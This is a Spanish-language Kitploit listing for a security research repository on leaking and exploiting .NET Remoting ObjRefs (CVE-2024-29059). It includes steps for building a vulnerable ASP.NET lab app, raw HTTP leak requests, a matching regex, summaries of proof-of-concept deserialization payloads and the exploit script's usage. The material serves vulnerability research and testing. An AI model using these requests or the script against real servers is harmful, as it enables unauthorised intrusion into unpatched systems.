Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
HttpRemotingObjRefLeak — Recursos adicionales para filtrar y explotar ObjRefs a través de HTTP .NET Remoting (CVE-2024-29059) | Kitploit
Herramientas/GitHubGitHub/codewhitesec/httpremotingobjrefleak
Análisis de VulnerabilidadesAnálisis de CódigoExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónRed TeamingDesarrollo de Payloads
GitHubcodewhitesec/httpremotingobjrefleak

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

HttpRemotingObjRefLeak

Recursos adicionales para filtrar y explotar ObjRefs a través de HTTP .NET Remoting (CVE-2024-29059)

Ver RepositorioSitio web
9214hace 2 añosRevisado por Kitploit

Filtración y Explotación de ObjRef a través de HTTP .NET Remoting (CVE-2024-29059)

Este repositorio proporciona más detalles y recursos sobre la entrada del blog de CODE WHITE del mismo nombre Filtrando ObjRefs para Explotar HTTP .NET Remoting:

  1. Creación de una aplicación web ASP.NET vulnerable
  2. Detección de fugas de ObjRef
  3. Ejemplos de cargas útiles de deserialización que funcionan bajo las restricciones de TypeFilterLevel.Low
  4. Script de explotación para entregar las cargas útiles

1. Creación de una aplicación web ASP.NET vulnerable

Lo siguiente se basa en Configure Application Insights for your ASP.NET website de Microsoft y describe cómo crear una aplicación web ASP.NET vulnerable con Visual Studio 2019 (necesario para apuntar a .NET Framework 4.5.2, aún puede descargarlo en https://aka.ms/vs/16/release/vs_community.exe) y Microsoft Application Insights:

  1. Abra Visual Studio 2019.
  2. Seleccione Archivo > Nuevo > Proyecto.
  3. Seleccione Aplicación web ASP.NET (.NET Framework) C#, luego Siguiente.
  4. Seleccione .NET Framework 4.5.2, luego Crear.
  5. Seleccione Vacío, luego Crear.
  6. Seleccione Proyecto > Agregar telemetría de Application Insights.
  7. Seleccione SDK de Application Insights (local), luego Siguiente.
  8. Marque Paquetes NuGet, luego haga clic en Finalizar.

Si las actualizaciones de .NET Framework de enero de 2024 están instaladas, abra el archivo Web.config y agregue lo siguiente bajo /configuration/appSettings para reactivar el comportamiento vulnerable:

root@kitploit:~
<add key="microsoft:Remoting:LateHttpHeaderParsing" value="true" />

Luego puede ejecutar la aplicación web a través de Depurar > Iniciar sin depurar o presionando Ctrl+F5.

2. Detección de fugas de ObjRef

Puede usar las siguientes solicitudes para filtrar ObjRefs de instancias de MarshalByRefObject almacenadas en el LogicalCallContext:

  • BinaryServerFormatterSink:

    root@kitploit:~
    GET /RemoteApplicationMetadata.rem?wsdl HTTP/1.0
    __RequestVerb: POST
    Content-Type: application/octet-stream
    
  • SoapServerFormatterSink:

    root@kitploit:~
    GET /RemoteApplicationMetadata.rem?wsdl HTTP/1.0
    __RequestVerb: POST
    Content-Type: text/xml
    

Luego, las URIs de ObjRef filtradas se pueden emparejar usando la siguiente expresión regular:

root@kitploit:~
/[0-9a-f_]+/[0-9A-Za-z_+]+_\d+\.rem

3. Ejemplos de cargas útiles de deserialización

Hemos creado dos cargas útiles de deserialización simples basadas en el gadget TextFormattingRunProperties de YSoSerial.Net con cargas XAML personalizadas que funcionan bajo las restricciones causadas por TypeFilterLevel.Low para realizar lo siguiente:

  • HttpContext.Current.Response.AddHeader("Set-Cookie", "x=ad92afb4-00c3-4479-bab8-2425b5716081")
  • HttpContext.Current.Response.RedirectLocation = "/ad92afb4-00c3-4479-bab8-2425b5716081"

Los encabezados HTTP se pueden observar en la respuesta del servidor a la solicitud HTTP .NET Remoting.

4. Script de explotación

El script RemoteApplicationMetadata.py proporciona una forma de filtrar un ObjRef existente y luego usarlo en una solicitud posterior para entregar una carga útil dada:

root@kitploit:~
usage: RemoteApplicationMetadata.py [-h] [-c] [--chunk-range CHUNK_RANGE] [-e] [-f {binary,soap}] [-u] [-v] url [file]

positional arguments:
  url                   target URL (without `RemoteApplicationMetadata.rem`)
  file                  BinaryFormatter/SoapFormatter payload file (default: stdin)

options:
  -h, --help            show this help message and exit
  -c, --chunked         use chunked Transfer-Encoding for request
  --chunk-range CHUNK_RANGE
                        range to pick the chunk size from randomly, e. g., 1-10
  -e, --encoding        apply a random non ASCII-based encoding on SOAP
  -f {binary,soap}, --format {binary,soap}
                        targeted runtime serializer format (default: soap)
  -u, --use-generic-uri
                        use the generic `RemoteApplicationMetadata.rem` also for the payload delivery request
  -v, --verbose         print verbose info

Ejemplo:

root@kitploit:~
./RemoteApplicationMetadata.py -f binary https://127.0.0.1:44365 AddHeader.bin -u -v
Descargar herramienta